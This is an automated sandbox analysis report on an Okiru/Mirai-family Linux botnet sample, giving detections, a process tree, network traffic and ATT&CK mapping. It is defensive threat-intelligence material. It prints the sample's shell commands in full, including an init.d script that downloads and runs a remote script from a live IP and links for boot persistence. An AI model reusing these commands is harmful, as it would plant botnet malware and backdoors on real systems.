Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
mips.nn.elf

Overview

General Information

Sample name:mips.nn.elf
Analysis ID:1580254
MD5:295967bdfd3359fa517fe956dfb03352
SHA1:fd7c08db9a6c919a8ca274ecc37b8cd6b8b1113a
SHA256:0b5bb5530ea15a877aa1d455ec7ede76424382f57b4b02cfa43e69f58645f995
Tags:elfuser-abuse_ch
Infos:

Detection

Okiru
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1580254
Start date and time:2024-12-24 07:47:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 54s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:mips.nn.elf
Detection:MAL
Classification:mal80.spre.troj.evad.linELF@0/10@0/0

Runtime Messages

Command:/tmp/mips.nn.elf
PID:6237
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
The Gorilla Botnet Cats Came After You!
Standard Error:

Process Tree

  • system is lnxubuntu20
  • mips.nn.elf (PID: 6237, Parent: 6160, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/mips.nn.elf
    • sh (PID: 6260, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"
      • sh New Fork (PID: 6266, Parent: 6260)
      • systemctl (PID: 6266, Parent: 6260, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service
    • sh (PID: 6292, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
      • sh New Fork (PID: 6294, Parent: 6292)
      • chmod (PID: 6294, Parent: 6292, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system
    • sh (PID: 6295, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
      • sh New Fork (PID: 6297, Parent: 6295)
      • ln (PID: 6297, Parent: 6295, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system
    • sh (PID: 6298, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"
    • sh (PID: 6300, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 6302, Parent: 6300)
      • chmod (PID: 6302, Parent: 6300, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/mips.nn.elf
    • sh (PID: 6303, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
      • sh New Fork (PID: 6307, Parent: 6303)
      • mkdir (PID: 6307, Parent: 6303, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d
    • sh (PID: 6309, Parent: 6237, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"
      • sh New Fork (PID: 6311, Parent: 6309)
      • ln (PID: 6311, Parent: 6309, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf
  • udisksd New Fork (PID: 6248, Parent: 799)
  • dumpe2fs (PID: 6248, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • systemd New Fork (PID: 6279, Parent: 6278)
  • snapd-env-generator (PID: 6279, Parent: 6278, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • udisksd New Fork (PID: 6324, Parent: 799)
  • dumpe2fs (PID: 6324, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • udisksd New Fork (PID: 6357, Parent: 799)
  • dumpe2fs (PID: 6357, Parent: 799, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0
  • cleanup

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
mips.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    6237.1.00007f0d7c400000.00007f0d7c41b000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
      Process Memory Space: mips.nn.elf PID: 6237JoeSecurity_OkiruYara detected OkiruJoe Security

        Suricata Signatures

        ⊘No Suricata rule has matched

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Antivirus / Scanner detection for submitted sample
        Source: mips.nn.elfAvira: detected
        Multi AV Scanner detection for submitted file
        Source: mips.nn.elfReversingLabs: Detection: 34%
        Source: mips.nn.elfString: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s
        Source: global trafficTCP traffic: 192.168.2.23:60010 -> 94.156.227.234:38242
        Source: /tmp/mips.nn.elf (PID: 6237)Socket: 0.0.0.0:38242Jump to behavior
        Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
        Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
        Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: unknownTCP traffic detected without corresponding DNS query: 94.156.227.234
        Source: mips.nn.elf, profile.12.dr, system.12.dr, mips.nn.elf.32.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.drString found in binary or memory: http://94.156.227.233/
        Source: mips.nn.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
        Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
        Source: Initial sampleString containing 'busybox' found: /bin/busybox
        Source: Initial sampleString containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofi
        Source: ELF static info symbol of initial sample.symtab present: no
        Source: classification engineClassification label: mal80.spre.troj.evad.linELF@0/10@0/0

        Persistence and Installation Behavior

        barindex
        Sample tries to persist itself using /etc/profile
        Source: /tmp/mips.nn.elf (PID: 6237)File: /etc/profileJump to behavior
        Sample tries to persist itself using System V runlevels
        Source: /tmp/mips.nn.elf (PID: 6237)File: /etc/rc.localJump to behavior
        Source: /usr/bin/ln (PID: 6297)File: /etc/rcS.d/S99system -> /etc/init.d/systemJump to behavior
        Source: /usr/bin/ln (PID: 6311)File: /etc/rc.d/S99mips.nn.elf -> /etc/init.d/mips.nn.elfJump to behavior
        Sample tries to set files in /etc globally writable
        Source: /tmp/mips.nn.elf (PID: 6237)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 6294)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 6302)File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6373/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6395/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6372/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6394/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6375/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6397/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6374/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6396/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6377/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6399/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6376/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6398/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6357/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6391/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6390/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6371/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6393/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6392/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/799/cmdlineJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6403/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6402/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6404/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6065/cmdlineJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6388/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6387/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6401/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6389/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6314)File opened: /proc/6400/statusJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6260)Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6292)Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6295)Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6298)Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mips.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mips.nn.elf'\n /tmp/mips.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mips.nn.elf'\n killall mips.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mips.nn.elf"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6300)Shell command executed: sh -c "chmod +x /etc/init.d/mips.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6303)Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6309)Shell command executed: sh -c "ln -s /etc/init.d/mips.nn.elf /etc/rc.d/S99mips.nn.elf >/dev/null 2>&1"Jump to behavior
        Source: /bin/sh (PID: 6294)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/systemJump to behavior
        Source: /bin/sh (PID: 6302)Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mips.nn.elfJump to behavior
        Source: /bin/sh (PID: 6307)Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.dJump to behavior
        Source: /bin/sh (PID: 6266)Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.serviceJump to behavior
        Source: /tmp/mips.nn.elf (PID: 6237)File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 6294)File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /usr/bin/chmod (PID: 6302)File: /etc/init.d/mips.nn.elf (bits: - usr: rx grp: rx all: rwx)Jump to behavior
        Source: /tmp/mips.nn.elf (PID: 6237)Writes shell script file to disk with an unusual file extension: /etc/init.d/systemJump to dropped file
        Source: /tmp/mips.nn.elf (PID: 6237)Writes shell script file to disk with an unusual file extension: /etc/rc.localJump to dropped file
        Source: /bin/sh (PID: 6298)Writes shell script file to disk with an unusual file extension: /etc/init.d/mips.nn.elfJump to dropped file

        Hooking and other Techniques for Hiding and Protection

        barindex
        Drops files in suspicious directories
        Source: /tmp/mips.nn.elf (PID: 6237)File: /etc/init.d/systemJump to dropped file
        Source: /bin/sh (PID: 6298)File: /etc/init.d/mips.nn.elfJump to dropped file
        Source: /tmp/mips.nn.elf (PID: 6237)Queries kernel information via 'uname': Jump to behavior
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: r-managertc/qemu-binfmtP /proc/2102/exexfce4/xfc!/proc/2123/exe/mips/pr1/usr/bin/xfce4-power-manager0!/proc/2114/exe!/usr/lib/bluetoothps/pr
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: tc/qemu-binfmtP
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: /usr/bin/vmtoolsd
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: U/tmp/qemu-open.wToInN\
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: %s/qemu-op
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: /mips/usr/lib/bluetooth/obexd/etc/qemu-binfmt
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: /tmp/qemu-open.wToInN
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: Rx86_64/usr/bin/qemu-mips/tmp/mips.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mips.nn.elf
        Source: mips.nn.elf, 6237.1.000055b1d6294000.000055b1d633c000.rw-.sdmpBinary or memory string: U!/usr/bin/vmtoolsd
        Source: mips.nn.elf, 6237.1.00007ffe99ec8000.00007ffe99ee9000.rw-.sdmpBinary or memory string: MPDIR%s/qemu-op

        Stealing of Sensitive Information

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: mips.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 6237.1.00007f0d7c400000.00007f0d7c41b000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: mips.nn.elf PID: 6237, type: MEMORYSTR

        Remote Access Functionality

        barindex
        Yara detected Okiru
        Source: Yara matchFile source: mips.nn.elf, type: SAMPLE
        Source: Yara matchFile source: 6237.1.00007f0d7c400000.00007f0d7c41b000.r-x.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: mips.nn.elf PID: 6237, type: MEMORYSTR

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information2
        Scripting        		Valid AccountsWindows Management Instrumentation1
        Unix Shell Configuration Modification        		1
        Unix Shell Configuration Modification        		1
        Masquerading        		1
        OS Credential Dumping        		11
        Security Software Discovery        		Remote ServicesData from Local System1
        Encrypted Channel        		Exfiltration Over Other Network Medium1
        Data Manipulation
        CredentialsDomainsDefault AccountsScheduled Task/Job1
        Systemd Service        		1
        Systemd Service        		2
        File and Directory Permissions Modification        		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
        Non-Standard Port        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain AccountsAt2
        Scripting        		Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive1
        Application Layer Protocol        		Automated ExfiltrationData Encrypted for Impact

        Malware Configuration

        ⊘No configs have been found

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Number of created Files
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1580254 Sample: mips.nn.elf Startdate: 24/12/2024 Architecture: LINUX Score: 80 51 94.156.227.234, 38242, 60010, 60012 NETIXBG Bulgaria 2->51 53 109.202.202.202, 80 INIT7CH Switzerland 2->53 55 2 other IPs or domains 2->55 57 Antivirus / Scanner detection for submitted sample 2->57 59 Multi AV Scanner detection for submitted file 2->59 61 Yara detected Okiru 2->61 8 mips.nn.elf 2->8         started        12 udisksd dumpe2fs 2->12         started        14 udisksd dumpe2fs 2->14         started        16 2 other processes 2->16 signatures3 process4 file5 43 /etc/rc.local, POSIX 8->43 dropped 45 /etc/profile, ASCII 8->45 dropped 47 /etc/init.d/system, POSIX 8->47 dropped 63 Sample tries to set files in /etc globally writable 8->63 65 Sample tries to persist itself using /etc/profile 8->65 67 Drops files in suspicious directories 8->67 69 Sample tries to persist itself using System V runlevels 8->69 18 mips.nn.elf sh 8->18         started        20 mips.nn.elf sh 8->20         started        22 mips.nn.elf sh 8->22         started        24 5 other processes 8->24 signatures6 process7 file8 28 sh chmod 18->28         started        31 sh ln 20->31         started        33 sh chmod 22->33         started        49 /etc/init.d/mips.nn.elf, POSIX 24->49 dropped 71 Drops files in suspicious directories 24->71 35 sh ln 24->35         started        37 sh systemctl 24->37         started        39 sh mkdir 24->39         started        41 mips.nn.elf 24->41         started        signatures9 process10 signatures11 73 Sample tries to set files in /etc globally writable 28->73 75 Sample tries to persist itself using System V runlevels 31->75

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        mips.nn.elf34%ReversingLabsLinux.Backdoor.Mirai
        mips.nn.elf100%AviraEXP/ELF.Mirai.W

        Dropped Files

        SourceDetectionScannerLabelLink
        /etc/rc.local0%ReversingLabs
        /etc/rc.local0%VirustotalBrowse

        Domains

        ⊘No Antivirus matches

        URLs

        ⊘No Antivirus matches

        Domains and IPs

        Contacted Domains

        ⊘No contacted domains info

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/smips.nn.elffalse
          		high
          http://94.156.227.233/mips.nn.elf, profile.12.dr, system.12.dr, mips.nn.elf.32.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.drfalse
            		high

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            109.202.202.202
            		unknownSwitzerland
            		13030INIT7CHfalse
            94.156.227.234
            		unknownBulgaria
            		57463NETIXBGfalse
            91.189.91.43
            		unknownUnited Kingdom
            		41231CANONICAL-ASGBfalse
            91.189.91.42
            		unknownUnited Kingdom
            		41231CANONICAL-ASGBfalse

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
            • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
            94.156.227.234arm5.nn.elfGet hashmaliciousOkiruBrowse
              sh4.nn.elfGet hashmaliciousOkiruBrowse
                mips.nn.elfGet hashmaliciousOkiruBrowse
                  x86_64.nn.elfGet hashmaliciousOkiruBrowse
                    sh4.nn.elfGet hashmaliciousOkiruBrowse
                      arm.nn.elfGet hashmaliciousOkiruBrowse
                        x86_32.nn.elfGet hashmaliciousOkiruBrowse
                          mipsel.nn.elfGet hashmaliciousOkiruBrowse
                            arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                              powerpc.nn.elfGet hashmaliciousOkiruBrowse
                                91.189.91.43m68k.nn.elfGet hashmaliciousOkiruBrowse
                                  arm6.nn.elfGet hashmaliciousOkiruBrowse
                                    arm5.nn.elfGet hashmaliciousOkiruBrowse
                                      sh4.nn.elfGet hashmaliciousOkiruBrowse
                                        bot.ppc.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                          sh4.nn.elfGet hashmaliciousOkiruBrowse
                                            arm.nn.elfGet hashmaliciousOkiruBrowse
                                              mipsel.nn.elfGet hashmaliciousOkiruBrowse
                                                nklarm6.elfGet hashmaliciousUnknownBrowse
                                                  nabarm6.elfGet hashmaliciousUnknownBrowse
